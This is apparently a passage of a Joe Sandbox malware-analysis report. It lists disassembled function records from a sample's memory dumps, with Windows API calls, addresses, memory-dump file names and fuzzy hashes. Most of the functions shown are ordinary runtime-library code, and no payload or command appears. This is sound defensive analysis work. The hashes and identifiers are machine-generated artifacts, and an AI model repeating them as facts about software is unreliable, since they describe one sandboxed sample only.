FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 008964A5
FindNextFileW.KERNEL32(00000000,?), ref: 00896599
FindClose.KERNEL32(00000000), ref: 008965D8
FindClose.KERNEL32(00000000), ref: 0089660B

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: c11ba3e396304a0a8eb352462ea2a8f3e431145970533a5da60f64663d0b9ab5
Instruction ID: 087ea48a75e0a0381dbea93df14a2aaedf26f860404555e443b330bd1cea42bc
Opcode Fuzzy Hash: c11ba3e396304a0a8eb352462ea2a8f3e431145970533a5da60f64663d0b9ab5
Instruction Fuzzy Hash: 6C516575900219AFDF10BF6C8C85ABE77A9FF85318F1841ADF809D3201FA309D52AB64

Function 00889B40 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 00889CB0

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: e4d4ae94105fe7f06cf11f4e34f937fada5231fd014bdee0e7b26ef7610fb708
Instruction ID: c67d379ccc1ede794faa8c811c0b3ac98d564f6e815f1a2b6dcd30074709c250
Opcode Fuzzy Hash: e4d4ae94105fe7f06cf11f4e34f937fada5231fd014bdee0e7b26ef7610fb708
Instruction Fuzzy Hash: F8C1AA7090060A8FCB24EFA8C9846BABBF2FF45324F1C4A19E4D6D7691D732AD45CB51

Function 00895C0C Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00895C60

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c57dc30922587d5a897c6d37c101283967dce62e6ce83571f671a12f217158ee
Instruction ID: 6ca12c5bfcb96d672c3b39eef47f421b1c2e6129ca1f3e32130cd1f8ce4b9959
Opcode Fuzzy Hash: c57dc30922587d5a897c6d37c101283967dce62e6ce83571f671a12f217158ee
Instruction Fuzzy Hash: EA21807261170AABEF29BB29DD51A7A73A8FF44318B18006AF901D6281EB75AD40CB51

Function 00888741 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 008888C5

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 813342d7e0dbb64637d6cfd0a725b1b27744ca2f7a81b493813f544d7e954f48
Instruction ID: 7360abcc1cef5485a7def42eafbe32a18c60d2e63afc1e888e968278eff7a161
Opcode Fuzzy Hash: 813342d7e0dbb64637d6cfd0a725b1b27744ca2f7a81b493813f544d7e954f48
Instruction Fuzzy Hash: BCB1917090061BCBCB28FE6889556BEBBB1FF44304FD40629D592E7691DF35AE01CB52

Function 008958BF Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

EnumSystemLocalesW.KERNEL32(0089595A,00000001,00000000,?,-00000050,?,0089574A,00000000,-00000002,00000000,?,00000055,?), ref: 00895931

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9742e4afa2d536500ac32e70a3f587e667ce98f604a0821c302f0dec1a11c0f5
Instruction ID: 48e6063e4737a8445b3684c762c5cea2a8d5edba5da16c1c0236695ed19968b7
Opcode Fuzzy Hash: 9742e4afa2d536500ac32e70a3f587e667ce98f604a0821c302f0dec1a11c0f5
Instruction Fuzzy Hash: 5511293B2007019FEF18AF39D8A157ABB91FF84329B18442DE98687A40D7717803CB40

Function 00895D2C Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00895D80

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 35da8883df68a2cd635ae89ccdce00cadd484bfae932b73cef126d3deb3cb09b
Instruction ID: a4a5c426c5200e9ef106e7b4e913fe0736cd3f419f7e6d36a2830c40a4275d05
Opcode Fuzzy Hash: 35da8883df68a2cd635ae89ccdce00cadd484bfae932b73cef126d3deb3cb09b
Instruction Fuzzy Hash: C811C672611606ABDF19BF68DC4AABA73ACFF45310B18007AF502D7181EB34ED05DB51

Function 00895ED9 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00895B76,00000000,00000000,?), ref: 00895F05

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 0d481968ef9179abc907d86287c5dc2352d08c8f5485a1bb5221dddf56e1c63a
Instruction ID: 34e933b079f8bd621bd3d173c237b80ce401f96cb0953f94f5aa7972d7b692a5
Opcode Fuzzy Hash: 0d481968ef9179abc907d86287c5dc2352d08c8f5485a1bb5221dddf56e1c63a
Instruction Fuzzy Hash: 1701D132A04516BBDF296A65CC4ABBA3769FB40764F194468EC42F3180EE70FE41CB90

Function 00895BAD Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

EnumSystemLocalesW.KERNEL32(00895C0C,00000001,?,?,-00000050,?,00895712,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00895BF7

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: fc9d6b83d606386fdd04f9a0eb13a60e102b29a3101ea9026828cb25c5679dda
Instruction ID: 69b853438015e36390b33dc2e06cc24a2da88006475c4fa16057a4531d580ba8
Opcode Fuzzy Hash: fc9d6b83d606386fdd04f9a0eb13a60e102b29a3101ea9026828cb25c5679dda
Instruction Fuzzy Hash: 84F0C2363047045FDF256F79D881A6ABB91FB81768B09842DF946CBA80D7B1AC01CB54

Function 008916A7 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0088D047: EnterCriticalSection.KERNEL32(?,?,0088A841,00000000,008AB3D8,0000000C,0088A7FA,00001000,?,008917CA,00001000,?,008908B1,00000001,00000364,?), ref: 0088D056

EnumSystemLocalesW.KERNEL32(0089169A,00000001,008AB7F0,0000000C,008910A8,-00000050), ref: 008916DF

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: de2f9c06a8f2273b3d114770aa892937194fd4d0188a2e9910e036e3b1de5827
Instruction ID: d385f7655aed15b6db929091b88502656246223b8a03835ff5bcd45c231a4b4d
Opcode Fuzzy Hash: de2f9c06a8f2273b3d114770aa892937194fd4d0188a2e9910e036e3b1de5827
Instruction Fuzzy Hash: FEF03C3AA04205DFEB11EF98E806B5D77B0FB45720F10812AE510DB7A2D7799900CF51

Function 00895CE1 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00890713: GetLastError.KERNEL32(00000000,?,00892A49), ref: 00890717
Part of subcall function 00890713: SetLastError.KERNEL32(00000000,?,?,00000028,0088D2C9), ref: 008907B9

EnumSystemLocalesW.KERNEL32(00895D2C,00000001,?,?,?,0089576C,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00895D18

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d58bdd3a5109c1e10f2094d2a9e04e8ca5cdbb2ac54ba1b8875ed86999c1445b
Instruction ID: bfd8475b42133407bdf43960b44893ea5f3a7f73157687fc3af665c5b609f345
Opcode Fuzzy Hash: d58bdd3a5109c1e10f2094d2a9e04e8ca5cdbb2ac54ba1b8875ed86999c1445b
Instruction Fuzzy Hash: EFF0553A30020867CF05AF39D80966ABF90FFC2720B0A4068EE05CB690C3759842CB90

Function 008911AC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,0088BDA3,?,20001004,00000000,00000002,?,?,0088ACB5), ref: 008911E0

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a7e2687a5ae96d64bc131e6b73e81f2852ede5f68471b2e060a1c16fe663e1a4
Instruction ID: 20f72a5319af683685ebb0542a9a7fc9b69836657be16bda914d0321765487bb
Opcode Fuzzy Hash: a7e2687a5ae96d64bc131e6b73e81f2852ede5f68471b2e060a1c16fe663e1a4
Instruction Fuzzy Hash: F9E04F31904119BBCF163FA1DC0CAAE3E26FF44760F494011FD06A5A60CB328921EA96

Function 00884067 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00014188), ref: 0088406C

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 8a0f754249bb4541e519d14dcbdbc9e078fb0e2c693eb2830af628f7b2e29a01
Instruction ID: 4b49ae60ad55c85d294ac8bd7a117a662831b2d5bf7d99c3adb64bc0bdc7b609
Opcode Fuzzy Hash: 8a0f754249bb4541e519d14dcbdbc9e078fb0e2c693eb2830af628f7b2e29a01
Instruction Fuzzy Hash:

Function 00891DBC Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00891DBC

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2e7466fe82099879f82fd4b790c7483bde7a5c1227424817e8dd01b588b04991
Instruction ID: 4ab76558ead5e10c4b7bb0b9128ef7daff72b1f9bef40dae5d26d5dd8c31d6e3
Opcode Fuzzy Hash: 2e7466fe82099879f82fd4b790c7483bde7a5c1227424817e8dd01b588b04991
Instruction Fuzzy Hash: 45A02230A00200CFF3888FB2EE0830C3BE8BA0B2C03088038E208C0C30EB308080EF02

Function 00871000 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc8e63c8680ec137536d547794cab7b3535407bac1b61116d8292593f680786
Instruction ID: 1db953363f11f6b349f5779c0c6d92e6c97db8c55c880a40dab981a915708e34
Opcode Fuzzy Hash: 5fc8e63c8680ec137536d547794cab7b3535407bac1b61116d8292593f680786
Instruction Fuzzy Hash: 135176B4E1020D9FCF40DFA8D5959AEBBF4FB09350F20945AE819FB210E730AA41CB65

Function 008716A0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61be3a86a5a2e9bd0a251ed1b06f47359ef682caef7ea1488e009769cf45b45c
Instruction ID: c6b381e966d11fb60f6f5d8c47c6327802de2322abc4f8781aec43b6990d1bc3
Opcode Fuzzy Hash: 61be3a86a5a2e9bd0a251ed1b06f47359ef682caef7ea1488e009769cf45b45c
Instruction Fuzzy Hash: 99D0923A641A58AFC210CF49E440D41F7BCFB8E670B158966EA0993B20C335FC11CAE0

Function 0089EDF2 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00BA1E48,00BA1E48,00000000,7FFFFFFF,?,0089EDDD,00BA1E48,00BA1E48,00000000,00BA1E48,?,?,?,?,00BA1E48,00000000), ref: 0089EE98
__alloca_probe_16.LIBCMT ref: 0089EF53
__alloca_probe_16.LIBCMT ref: 0089EFE2
__freea.LIBCMT ref: 0089F02D
__freea.LIBCMT ref: 0089F033
__freea.LIBCMT ref: 0089F069
__freea.LIBCMT ref: 0089F06F
__freea.LIBCMT ref: 0089F07F

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333074860.00000000008D9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_aD7D9fkpII.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 0be7d32f8e0ca54c880b7d84778ddf8caa804f15350d8e73760853262c11dfac
Instruction ID: a05629fd7fe28c8fb1901a22008f37e2ada5659e423fe51c5047002345626d08
Opcode Fuzzy Hash: 0be7d32f8e0ca54c880b7d84778ddf8caa804f15350d8e73760853262c11dfac
Instruction Fuzzy Hash: BF71B3729006099FDF24FA688C41BAF7BA9FF49314F2D0169EA05E7283DB769C418761

Function 008845A9 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 008845F0
__alloca_probe_16.LIBCMT ref: 0088461C
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 0088465B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00884678
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 008846B7
__alloca_probe_16.LIBCMT ref: 008846D4
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00884716
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00884739

Memory Dump Source

Source File: 00000000.00000002.2332770685.0000000000871000.00000020.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2332733034.0000000000870000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332838799.00000000008A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332880256.00000000008AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332924364.00000000008AD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2332969362.00000000008B1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2333013601.00000000008B4000.00000008.00000001.01000000.00000003.sdmpDownload File
